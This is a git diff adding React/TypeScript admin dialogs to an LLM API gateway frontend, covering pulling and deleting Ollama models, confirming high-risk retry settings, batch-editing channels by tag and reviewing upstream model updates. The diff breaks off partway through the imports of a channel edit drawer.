+      const response = await fetch('/api/channel/ollama/pull/stream', {
+        method: 'POST',
+        credentials: 'include',
+        headers: {
+          ...getCommonHeaders(),
+          Accept: 'text/event-stream',
+        },
+        body: JSON.stringify({
+          channel_id: channelId,
+          model_name: pullName.trim(),
+        }),
+        signal: controller.signal,
+      })
+
+      if (!response.ok || !response.body) {
+        throw new Error(`HTTP ${response.status}: ${response.statusText}`)
+      }
+
+      const reader = response.body.getReader()
+      const decoder = new TextDecoder()
+      let buffer = ''
+
+      while (true) {
+        const { done, value } = await reader.read()
+        if (done) break
+
+        buffer += decoder.decode(value, { stream: true })
+        const lines = buffer.split('\n')
+        buffer = lines.pop() || ''
+
+        for (const line of lines) {
+          if (!line.startsWith('data: ')) continue
+          const eventData = line.slice(6)
+          if (!eventData) continue
+
+          if (eventData === '[DONE]') {
+            setIsPulling(false)
+            setPullProgress(null)
+            pullAbortRef.current = null
+            return
+          }
+
+          try {
+            const data = JSON.parse(eventData)
+            if (data?.status) {
+              setPullProgress(data)
+            } else if (data?.error) {
+              toast.error(String(data.error))
+              setIsPulling(false)
+              setPullProgress(null)
+              pullAbortRef.current = null
+              return
+            } else if (data?.message) {
+              toast.success(String(data.message))
+              setPullName('')
+              setIsPulling(false)
+              setPullProgress(null)
+              pullAbortRef.current = null
+              await fetchOllamaModels()
+              queryClient.invalidateQueries({
+                queryKey: channelsQueryKeys.lists(),
+              })
+              return
+            }
+          } catch {
+            // ignore malformed events
+          }
+        }
+      }
+
+      setIsPulling(false)
+      setPullProgress(null)
+      pullAbortRef.current = null
+      await fetchOllamaModels()
+      queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+    } catch (err: unknown) {
+      const isAbort =
+        typeof err === 'object' &&
+        err !== null &&
+        'name' in err &&
+        (err as { name?: unknown }).name === 'AbortError'
+      if (!isAbort) {
+        const msg = err instanceof Error ? err.message : ''
+        toast.error(t('Model pull failed: {{msg}}', { msg }))
+      }
+      setIsPulling(false)
+      setPullProgress(null)
+      pullAbortRef.current = null
+    }
+  }
+
+  const deleteModel = async (modelName: string) => {
+    if (!channelId) return
+    try {
+      setIsDeleting(true)
+      const payload = await deleteOllamaModel({
+        channel_id: Number(channelId),
+        model_name: modelName,
+      })
+      if (payload?.success) {
+        toast.success(t('Model deleted'))
+        await fetchOllamaModels()
+        queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+        setDeleteOpen(false)
+        setDeleteTarget(null)
+      } else {
+        toast.error(payload?.message || t('Failed to delete model'))
+      }
+    } catch (err: unknown) {
+      const msg = err instanceof Error ? err.message : undefined
+      toast.error(msg || t('Failed to delete model'))
+    } finally {
+      setIsDeleting(false)
+    }
+  }
+
+  const close = () => {
+    pullAbortRef.current?.abort()
+    pullAbortRef.current = null
+    onOpenChange(false)
+  }
+
+  if (!open) return null
+
+  return (
+    <Dialog open={open} onOpenChange={close}>
+      <DialogContent className='max-h-[90vh] overflow-hidden sm:max-w-3xl'>
+        <DialogHeader>
+          <DialogTitle>{t('Ollama Models')}</DialogTitle>
+          <DialogDescription>
+            {t('Manage local models for:')} <strong>{currentRow?.name}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        {!isOllamaChannel ? (
+          <div className='text-muted-foreground py-8 text-center'>
+            {t('This channel is not an Ollama channel.')}
+          </div>
+        ) : (
+          <div className='max-h-[78vh] space-y-4 overflow-y-auto py-2 pr-1'>
+            <div className='flex flex-col gap-3 sm:flex-row sm:items-end sm:justify-between'>
+              <div className='flex-1 space-y-2'>
+                <Label htmlFor='ollama-pull'>{t('Pull model')}</Label>
+                <div className='flex gap-2'>
+                  <Input
+                    id='ollama-pull'
+                    placeholder={t('e.g. llama3.1:8b')}
+                    value={pullName}
+                    onChange={(e) => setPullName(e.target.value)}
+                    disabled={!channelId || isPulling}
+                  />
+                  <Button
+                    onClick={() => void pullModel()}
+                    disabled={!channelId || isPulling}
+                  >
+                    {isPulling ? (
+                      <>
+                        <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                        {t('Pulling...')}
+                      </>
+                    ) : (
+                      <>
+                        <Download className='mr-2 h-4 w-4' />
+                        {t('Pull')}
+                      </>
+                    )}
+                  </Button>
+                </div>
+                {pullProgress && (
+                  <div className='space-y-2'>
+                    <div className='text-muted-foreground text-xs'>
+                      {t('Status:')} {String(pullProgress.status || '-')}
+                    </div>
+                    <Progress
+                      value={
+                        typeof pullProgress.completed === 'number' &&
+                        typeof pullProgress.total === 'number' &&
+                        pullProgress.total > 0
+                          ? Math.min(
+                              100,
+                              Math.round(
+                                (pullProgress.completed / pullProgress.total) *
+                                  100
+                              )
+                            )
+                          : 0
+                      }
+                    />
+                  </div>
+                )}
+              </div>
+
+              <div className='flex gap-2'>
+                <Button
+                  variant='outline'
+                  onClick={() => void fetchOllamaModels()}
+                  disabled={!channelId || isFetching}
+                >
+                  {isFetching ? (
+                    <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                  ) : (
+                    <RefreshCw className='mr-2 h-4 w-4' />
+                  )}
+                  {t('Refresh')}
+                </Button>
+              </div>
+            </div>
+
+            <Separator />
+
+            <div className='space-y-3'>
+              <div className='flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                <div>
+                  <p className='text-sm font-medium'>{t('Local models')}</p>
+                  <p className='text-muted-foreground text-xs'>
+                    {t('Select models and apply to channel models list.')}
+                  </p>
+                </div>
+                <div className='relative sm:w-72'>
+                  <Search className='text-muted-foreground absolute top-1/2 left-3 h-4 w-4 -translate-y-1/2' />
+                  <Input
+                    placeholder={t('Search models...')}
+                    value={search}
+                    onChange={(e) => setSearch(e.target.value)}
+                    className='pl-9'
+                  />
+                </div>
+              </div>
+
+              <div className='flex flex-wrap gap-2'>
+                <Button variant='outline' size='sm' onClick={selectAllFiltered}>
+                  {t('Select all (filtered)')}
+                </Button>
+                <Button variant='outline' size='sm' onClick={clearSelection}>
+                  {t('Clear selection')}
+                </Button>
+                <Button
+                  size='sm'
+                  onClick={() => void applySelection('append')}
+                  disabled={!selected.length}
+                >
+                  {t('Append to channel')}
+                </Button>
+                <Button
+                  variant='secondary'
+                  size='sm'
+                  onClick={() => void applySelection('replace')}
+                  disabled={!selected.length}
+                >
+                  {t('Replace channel models')}
+                </Button>
+              </div>
+
+              <div className='overflow-hidden rounded-md border'>
+                <div className='max-h-[420px] overflow-y-auto'>
+                  {filteredModels.length === 0 ? (
+                    <div className='text-muted-foreground p-6 text-center text-sm'>
+                      {t('No models found.')}
+                    </div>
+                  ) : (
+                    <div className='divide-y'>
+                      {filteredModels.map((m) => {
+                        const checked = selected.includes(m.id)
+                        return (
+                          <div
+                            key={m.id}
+                            className='flex items-center justify-between gap-3 p-3'
+                          >
+                            <div className='flex min-w-0 items-start gap-3'>
+                              <Checkbox
+                                checked={checked}
+                                onCheckedChange={(v) =>
+                                  toggleSelected(m.id, !!v)
+                                }
+                                aria-label={`Select model ${m.id}`}
+                              />
+                              <div className='min-w-0'>
+                                <div className='truncate font-mono text-sm'>
+                                  {m.id}
+                                </div>
+                                <div className='text-muted-foreground flex flex-wrap gap-x-3 gap-y-1 text-xs'>
+                                  <span>
+                                    {t('Size:')} {formatBytes(m.size)}
+                                  </span>
+                                  {m.digest && (
+                                    <span className='truncate'>
+                                      {t('Digest:')} {String(m.digest)}
+                                    </span>
+                                  )}
+                                </div>
+                              </div>
+                            </div>
+
+                            <Button
+                              variant='ghost'
+                              size='sm'
+                              className='text-destructive hover:text-destructive'
+                              onClick={() => {
+                                setDeleteTarget(m.id)
+                                setDeleteOpen(true)
+                              }}
+                              disabled={!channelId}
+                            >
+                              <Trash2 className='h-4 w-4' />
+                            </Button>
+                          </div>
+                        )
+                      })}
+                    </div>
+                  )}
+                </div>
+              </div>
+            </div>
+          </div>
+        )}
+
+        <DialogFooter>
+          <Button variant='outline' onClick={close}>
+            {t('Close')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+
+      <AlertDialog
+        open={deleteOpen}
+        onOpenChange={(v) => {
+          setDeleteOpen(v)
+          if (!v) setDeleteTarget(null)
+        }}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Confirm delete')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {t('Delete model "{{name}}"? This cannot be undone.', {
+                name: deleteTarget || '',
+              })}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel disabled={isDeleting}>
+              {t('Cancel')}
+            </AlertDialogCancel>
+            <AlertDialogAction
+              className='bg-destructive text-destructive-foreground hover:bg-destructive/90'
+              disabled={isDeleting || !deleteTarget}
+              onClick={() => {
+                if (!deleteTarget) return
+                void deleteModel(deleteTarget)
+              }}
+            >
+              {isDeleting ? (
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+              ) : null}
+              {t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/status-code-risk-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/status-code-risk-dialog.tsx
new file mode 100644
index 0000000..730e45b
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/status-code-risk-dialog.tsx
@@ -0,0 +1,150 @@
+import { useState } from 'react'
+import { AlertTriangle } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+
+interface StatusCodeRiskDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  detailItems: string[]
+  onConfirm: () => void
+}
+
+const CHECKLIST_KEYS = [
+  'High-risk status code retry risk check 1',
+  'High-risk status code retry risk check 2',
+  'High-risk status code retry risk check 3',
+  'High-risk status code retry risk check 4',
+] as const
+
+export function StatusCodeRiskDialog({
+  open,
+  onOpenChange,
+  detailItems,
+  onConfirm,
+}: StatusCodeRiskDialogProps) {
+  const { t } = useTranslation()
+  const [checkedItems, setCheckedItems] = useState<Set<number>>(new Set())
+  const [confirmText, setConfirmText] = useState('')
+
+  const requiredText = t('High-risk status code retry confirmation text')
+  const allChecked = checkedItems.size === CHECKLIST_KEYS.length
+  const textMatches = confirmText.trim() === requiredText.trim()
+  const canConfirm = allChecked && textMatches
+
+  const handleConfirm = () => {
+    if (!canConfirm) return
+    setCheckedItems(new Set())
+    setConfirmText('')
+    onConfirm()
+  }
+
+  const handleCancel = () => {
+    setCheckedItems(new Set())
+    setConfirmText('')
+    onOpenChange(false)
+  }
+
+  const toggleCheck = (idx: number) => {
+    setCheckedItems((prev) => {
+      const next = new Set(prev)
+      if (next.has(idx)) next.delete(idx)
+      else next.add(idx)
+      return next
+    })
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='max-w-lg'>
+        <DialogHeader>
+          <DialogTitle className='text-destructive flex items-center gap-2'>
+            <AlertTriangle className='h-5 w-5' />
+            {t('High-risk operation confirmation')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('High-risk status code retry risk disclaimer')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4'>
+          {detailItems.length > 0 && (
+            <div className='border-destructive/30 bg-destructive/5 rounded-lg border p-3'>
+              <p className='mb-2 text-sm font-medium'>
+                {t('Detected high-risk status code redirect rules')}
+              </p>
+              <ul className='list-inside list-disc text-sm'>
+                {detailItems.map((item) => (
+                  <li key={item} className='font-mono text-xs'>
+                    {item}
+                  </li>
+                ))}
+              </ul>
+            </div>
+          )}
+
+          <div className='space-y-2'>
+            {CHECKLIST_KEYS.map((key, idx) => (
+              <div key={key} className='flex items-start gap-2'>
+                <Checkbox
+                  id={`risk-check-${idx}`}
+                  checked={checkedItems.has(idx)}
+                  onCheckedChange={() => toggleCheck(idx)}
+                />
+                <Label
+                  htmlFor={`risk-check-${idx}`}
+                  className='text-sm leading-tight'
+                >
+                  {t(key)}
+                </Label>
+              </div>
+            ))}
+          </div>
+
+          <div className='space-y-1.5'>
+            <Label className='text-sm'>
+              {t('Action confirmation')}:{' '}
+              <code className='bg-muted rounded px-1 text-xs'>
+                {requiredText}
+              </code>
+            </Label>
+            <Input
+              value={confirmText}
+              onChange={(e) => setConfirmText(e.target.value)}
+              placeholder={t('High-risk status code retry input placeholder')}
+            />
+            {confirmText && !textMatches && (
+              <p className='text-destructive text-xs'>
+                {t('High-risk status code retry input mismatch')}
+              </p>
+            )}
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={handleCancel}>
+            {t('Cancel')}
+          </Button>
+          <Button
+            variant='destructive'
+            disabled={!canConfirm}
+            onClick={handleConfirm}
+          >
+            {t('I confirm enabling high-risk retry')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/tag-batch-edit-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/tag-batch-edit-dialog.tsx
new file mode 100644
index 0000000..8e3d434
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/tag-batch-edit-dialog.tsx
@@ -0,0 +1,286 @@
+import { useState, useEffect, useMemo } from 'react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { Loader2, AlertCircle } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Textarea } from '@/components/ui/textarea'
+import { MultiSelect } from '@/components/multi-select'
+import {
+  getTagModels,
+  editTagChannels,
+  getAllModels,
+  getGroups,
+} from '../../api'
+import { channelsQueryKeys } from '../../lib'
+import type { TagOperationParams } from '../../types'
+import { useChannels } from '../channels-provider'
+import { ModelMappingEditor } from '../model-mapping-editor'
+
+type TagBatchEditDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function TagBatchEditDialog({
+  open,
+  onOpenChange,
+}: TagBatchEditDialogProps) {
+  const { t } = useTranslation()
+  const { currentTag } = useChannels()
+  const queryClient = useQueryClient()
+  const [isLoading, setIsLoading] = useState(false)
+  const [isSaving, setIsSaving] = useState(false)
+
+  // Form fields
+  const [newTag, setNewTag] = useState('')
+  const [models, setModels] = useState('')
+  const [modelMapping, setModelMapping] = useState('')
+  const [groups, setGroups] = useState<string[]>([])
+
+  // Fetch available groups
+  const { data: groupsData, isLoading: isLoadingGroups } = useQuery({
+    queryKey: ['groups'],
+    queryFn: getGroups,
+  })
+
+  // Transform groups to multi-select options
+  const groupOptions = useMemo(() => {
+    if (!groupsData?.data) return []
+    const allGroups = new Set([...groupsData.data, ...groups])
+    return Array.from(allGroups).map((group) => ({
+      value: group,
+      label: group,
+    }))
+  }, [groupsData, groups])
+
+  useEffect(() => {
+    if (open && currentTag) {
+      loadTagData()
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [open, currentTag])
+
+  const loadTagData = async () => {
+    if (!currentTag) return
+
+    setIsLoading(true)
+    try {
+      // Fetch current tag models
+      const tagModelsResponse = await getTagModels(currentTag)
+      if (tagModelsResponse.success && tagModelsResponse.data) {
+        setModels(tagModelsResponse.data)
+      }
+
+      // Fetch all available models (for future use if needed)
+      const allModelsResponse = await getAllModels()
+      if (allModelsResponse.success && allModelsResponse.data) {
+        // Available models could be used for autocomplete in the future
+      }
+
+      // Initialize new tag with current tag name
+      setNewTag(currentTag)
+    } catch (_error: unknown) {
+      toast.error(
+        _error instanceof Error ? _error.message : t('Failed to load tag data')
+      )
+    } finally {
+      setIsLoading(false)
+    }
+  }
+
+  const handleSave = async () => {
+    if (!currentTag) return
+
+    // Validate model mapping JSON if provided
+    if (modelMapping.trim()) {
+      try {
+        JSON.parse(modelMapping)
+      } catch (_error) {
+        toast.error(t('Model mapping must be valid JSON'))
+        return
+      }
+    }
+
+    setIsSaving(true)
+    try {
+      const params: Record<string, string | undefined> = {
+        tag: currentTag,
+      }
+
+      if (newTag !== currentTag) {
+        params.new_tag = newTag || undefined
+      }
+
+      if (models.trim()) {
+        params.models = models
+      }
+
+      if (modelMapping.trim()) {
+        params.model_mapping = modelMapping
+      }
+
+      if (groups.length > 0) {
+        params.groups = groups.join(',')
+      }
+
+      // Check if there are any changes
+      if (Object.keys(params).length === 1) {
+        toast.warning(t('No changes made'))
+        return
+      }
+
+      const response = await editTagChannels(
+        params as unknown as TagOperationParams
+      )
+      if (response.success) {
+        toast.success(t('Tag updated successfully'))
+        queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+        handleClose()
+      } else {
+        toast.error(response.message || t('Failed to update tag'))
+      }
+    } catch (error: unknown) {
+      toast.error(
+        error instanceof Error ? error.message : t('Failed to update tag')
+      )
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  const handleClose = () => {
+    setNewTag('')
+    setModels('')
+    setModelMapping('')
+    setGroups([])
+    onOpenChange(false)
+  }
+
+  if (!currentTag) return null
+
+  return (
+    <Dialog open={open} onOpenChange={handleClose}>
+      <DialogContent className='max-h-[90vh] max-w-2xl overflow-y-auto'>
+        <DialogHeader>
+          <DialogTitle>{t('Batch Edit by Tag')}</DialogTitle>
+          <DialogDescription>
+            {t('Edit all channels with tag:')} <strong>{currentTag}</strong>
+          </DialogDescription>
+        </DialogHeader>
+
+        {isLoading ? (
+          <div className='flex items-center justify-center py-12'>
+            <Loader2 className='text-muted-foreground h-8 w-8 animate-spin' />
+          </div>
+        ) : (
+          <>
+            <div className='space-y-4 py-4'>
+              <Alert>
+                <AlertCircle className='h-4 w-4' />
+                <AlertDescription>
+                  {t(
+                    'All edits are overwrite operations. Leave fields empty to keep current values unchanged.'
+                  )}
+                </AlertDescription>
+              </Alert>
+
+              {/* Tag Name */}
+              <div className='space-y-2'>
+                <Label htmlFor='new-tag'>{t('Tag Name')}</Label>
+                <Input
+                  id='new-tag'
+                  placeholder={t(
+                    'Enter new tag name (leave empty to disband tag)'
+                  )}
+                  value={newTag}
+                  onChange={(e) => setNewTag(e.target.value)}
+                  disabled={isSaving}
+                />
+                <p className='text-muted-foreground text-xs'>
+                  {t('Leave empty to disband the tag')}
+                </p>
+              </div>
+
+              {/* Models */}
+              <div className='space-y-2'>
+                <Label htmlFor='models'>{t('Models')}</Label>
+                <Textarea
+                  id='models'
+                  placeholder={t(
+                    'Comma-separated model names (leave empty to keep current)'
+                  )}
+                  value={models}
+                  onChange={(e) => setModels(e.target.value)}
+                  disabled={isSaving}
+                  rows={3}
+                />
+                <p className='text-muted-foreground text-xs'>
+                  {t(
+                    'Current models for the longest channel in this tag. May not include all models from all channels.'
+                  )}
+                </p>
+              </div>
+
+              {/* Model Mapping */}
+              <div className='space-y-2'>
+                <Label htmlFor='model-mapping'>{t('Model Mapping')}</Label>
+                <ModelMappingEditor
+                  value={modelMapping}
+                  onChange={setModelMapping}
+                  disabled={isSaving}
+                />
+              </div>
+
+              {/* Groups */}
+              <div className='space-y-2'>
+                <Label htmlFor='groups'>{t('Groups')}</Label>
+                {isLoadingGroups ? (
+                  <Skeleton className='h-10 w-full' />
+                ) : (
+                  <MultiSelect
+                    options={groupOptions}
+                    selected={groups}
+                    onChange={setGroups}
+                    placeholder={t(
+                      'Select groups (leave empty to keep current)'
+                    )}
+                  />
+                )}
+                <p className='text-muted-foreground text-xs'>
+                  {t('User groups that can access channels with this tag')}
+                </p>
+              </div>
+            </div>
+
+            <DialogFooter>
+              <Button
+                variant='outline'
+                onClick={handleClose}
+                disabled={isSaving}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button onClick={handleSave} disabled={isSaving}>
+                {isSaving && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+                {isSaving ? t('Saving...') : t('Save Changes')}
+              </Button>
+            </DialogFooter>
+          </>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/dialogs/upstream-update-dialog.tsx b/new-api/web/default/src/features/channels/components/dialogs/upstream-update-dialog.tsx
new file mode 100644
index 0000000..fb86c13
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/dialogs/upstream-update-dialog.tsx
@@ -0,0 +1,289 @@
+import { useState, useMemo } from 'react'
+import { Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { ScrollArea } from '@/components/ui/scroll-area'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+
+interface UpstreamUpdateDialogProps {
+  open: boolean
+  addModels: string[]
+  removeModels: string[]
+  preferredTab: 'add' | 'remove'
+  confirmLoading: boolean
+  onConfirm: (data: { addModels: string[]; removeModels: string[] }) => void
+  onCancel: () => void
+}
+
+export function UpstreamUpdateDialog(props: UpstreamUpdateDialogProps) {
+  const { t } = useTranslation()
+  const [activeTab, setActiveTab] = useState(props.preferredTab)
+  const [searchAdd, setSearchAdd] = useState('')
+  const [searchRemove, setSearchRemove] = useState('')
+  const [selectedAdd, setSelectedAdd] = useState<Set<string>>(
+    () => new Set(props.addModels)
+  )
+  const [selectedRemove, setSelectedRemove] = useState<Set<string>>(
+    () => new Set(props.removeModels)
+  )
+  const [partialConfirmOpen, setPartialConfirmOpen] = useState(false)
+
+  const filteredAdd = useMemo(
+    () =>
+      props.addModels.filter((m) =>
+        m.toLowerCase().includes(searchAdd.toLowerCase())
+      ),
+    [props.addModels, searchAdd]
+  )
+
+  const filteredRemove = useMemo(
+    () =>
+      props.removeModels.filter((m) =>
+        m.toLowerCase().includes(searchRemove.toLowerCase())
+      ),
+    [props.removeModels, searchRemove]
+  )
+
+  const toggleModel = (
+    model: string,
+    set: Set<string>,
+    setter: (s: Set<string>) => void
+  ) => {
+    const next = new Set(set)
+    if (next.has(model)) next.delete(model)
+    else next.add(model)
+    setter(next)
+  }
+
+  const toggleAllVisible = (
+    models: string[],
+    set: Set<string>,
+    setter: (s: Set<string>) => void
+  ) => {
+    const allSelected = models.every((m) => set.has(m))
+    const next = new Set(set)
+    if (allSelected) {
+      models.forEach((m) => next.delete(m))
+    } else {
+      models.forEach((m) => next.add(m))
+    }
+    setter(next)
+  }
+
+  const handleConfirm = () => {
+    const hasAdd = props.addModels.length > 0
+    const hasRemove = props.removeModels.length > 0
+    const selectedAddArr = Array.from(selectedAdd)
+    const selectedRemoveArr = Array.from(selectedRemove)
+    const anyAdd = selectedAddArr.length > 0
+    const anyRemove = selectedRemoveArr.length > 0
+
+    if (hasAdd && hasRemove && (!anyAdd || !anyRemove)) {
+      setPartialConfirmOpen(true)
+      return
+    }
+
+    props.onConfirm({
+      addModels: selectedAddArr,
+      removeModels: selectedRemoveArr,
+    })
+  }
+
+  return (
+    <>
+      <Dialog open={props.open} onOpenChange={(v) => !v && props.onCancel()}>
+        <DialogContent className='sm:max-w-lg'>
+          <DialogHeader>
+            <DialogTitle>{t('Upstream Model Updates')}</DialogTitle>
+          </DialogHeader>
+
+          <p className='text-muted-foreground text-sm'>
+            {t(
+              'Select models to process. Unselected "add" models will be ignored.'
+            )}
+          </p>
+
+          <Tabs
+            value={activeTab}
+            onValueChange={(v) => setActiveTab(v as 'add' | 'remove')}
+          >
+            <TabsList className='grid w-full grid-cols-2'>
+              <TabsTrigger value='add' className='gap-1'>
+                {t('Add Models')}
+                <StatusBadge
+                  variant='neutral'
+                  className='ml-1'
+                  copyable={false}
+                >
+                  {selectedAdd.size}/{props.addModels.length}
+                </StatusBadge>
+              </TabsTrigger>
+              <TabsTrigger value='remove' className='gap-1'>
+                {t('Remove Models')}
+                <StatusBadge
+                  variant='neutral'
+                  className='ml-1'
+                  copyable={false}
+                >
+                  {selectedRemove.size}/{props.removeModels.length}
+                </StatusBadge>
+              </TabsTrigger>
+            </TabsList>
+
+            <TabsContent value='add' className='space-y-3'>
+              <div className='relative'>
+                <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+                <Input
+                  placeholder={t('Search models...')}
+                  className='pl-8'
+                  value={searchAdd}
+                  onChange={(e) => setSearchAdd(e.target.value)}
+                />
+              </div>
+              {filteredAdd.length > 0 && (
+                <div className='flex items-center gap-2'>
+                  <Checkbox
+                    checked={filteredAdd.every((m) => selectedAdd.has(m))}
+                    onCheckedChange={() =>
+                      toggleAllVisible(filteredAdd, selectedAdd, setSelectedAdd)
+                    }
+                  />
+                  <span className='text-muted-foreground text-xs'>
+                    {t('Select All Visible')}
+                  </span>
+                </div>
+              )}
+              <ScrollArea className='h-[280px] rounded-md border p-2'>
+                {filteredAdd.length > 0 ? (
+                  <div className='space-y-1'>
+                    {filteredAdd.map((model) => (
+                      <label
+                        key={model}
+                        className='hover:bg-accent flex cursor-pointer items-center gap-2 rounded px-2 py-1.5'
+                      >
+                        <Checkbox
+                          checked={selectedAdd.has(model)}
+                          onCheckedChange={() =>
+                            toggleModel(model, selectedAdd, setSelectedAdd)
+                          }
+                        />
+                        <span className='truncate text-sm'>{model}</span>
+                      </label>
+                    ))}
+                  </div>
+                ) : (
+                  <p className='text-muted-foreground py-8 text-center text-sm'>
+                    {props.addModels.length === 0
+                      ? t('No models to add')
+                      : t('No matching results')}
+                  </p>
+                )}
+              </ScrollArea>
+            </TabsContent>
+
+            <TabsContent value='remove' className='space-y-3'>
+              <div className='relative'>
+                <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+                <Input
+                  placeholder={t('Search models...')}
+                  className='pl-8'
+                  value={searchRemove}
+                  onChange={(e) => setSearchRemove(e.target.value)}
+                />
+              </div>
+              {filteredRemove.length > 0 && (
+                <div className='flex items-center gap-2'>
+                  <Checkbox
+                    checked={filteredRemove.every((m) => selectedRemove.has(m))}
+                    onCheckedChange={() =>
+                      toggleAllVisible(
+                        filteredRemove,
+                        selectedRemove,
+                        setSelectedRemove
+                      )
+                    }
+                  />
+                  <span className='text-muted-foreground text-xs'>
+                    {t('Select All Visible')}
+                  </span>
+                </div>
+              )}
+              <ScrollArea className='h-[280px] rounded-md border p-2'>
+                {filteredRemove.length > 0 ? (
+                  <div className='space-y-1'>
+                    {filteredRemove.map((model) => (
+                      <label
+                        key={model}
+                        className='hover:bg-accent flex cursor-pointer items-center gap-2 rounded px-2 py-1.5'
+                      >
+                        <Checkbox
+                          checked={selectedRemove.has(model)}
+                          onCheckedChange={() =>
+                            toggleModel(
+                              model,
+                              selectedRemove,
+                              setSelectedRemove
+                            )
+                          }
+                        />
+                        <span className='truncate text-sm'>{model}</span>
+                      </label>
+                    ))}
+                  </div>
+                ) : (
+                  <p className='text-muted-foreground py-8 text-center text-sm'>
+                    {props.removeModels.length === 0
+                      ? t('No models to remove')
+                      : t('No matching results')}
+                  </p>
+                )}
+              </ScrollArea>
+            </TabsContent>
+          </Tabs>
+
+          <DialogFooter>
+            <Button variant='outline' onClick={props.onCancel}>
+              {t('Cancel')}
+            </Button>
+            <Button
+              onClick={handleConfirm}
+              disabled={
+                props.confirmLoading ||
+                (selectedAdd.size === 0 && selectedRemove.size === 0)
+              }
+            >
+              {t('Confirm')}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      <ConfirmDialog
+        open={partialConfirmOpen}
+        onOpenChange={setPartialConfirmOpen}
+        title={t('Partial Submission')}
+        desc={t(
+          'There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?'
+        )}
+        handleConfirm={() => {
+          setPartialConfirmOpen(false)
+          props.onConfirm({
+            addModels: Array.from(selectedAdd),
+            removeModels: Array.from(selectedRemove),
+          })
+        }}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/drawers/channel-mutate-drawer.tsx b/new-api/web/default/src/features/channels/components/drawers/channel-mutate-drawer.tsx
new file mode 100644
index 0000000..8e80524
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/drawers/channel-mutate-drawer.tsx
@@ -0,0 +1,3016 @@
+import { useEffect, useState, useMemo, useCallback, useRef } from 'react'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import {
+  ArrowRight,
+  HelpCircle,
+  Loader2,
+  Sparkles,
+  Trash2,
+  Copy,
+  FileText,
+  Eraser,
+  Plus,
+  Eye,
+  Link2,
+  RefreshCw,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { useHiddenClickUnlock } from '@/hooks/use-hidden-click-unlock'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
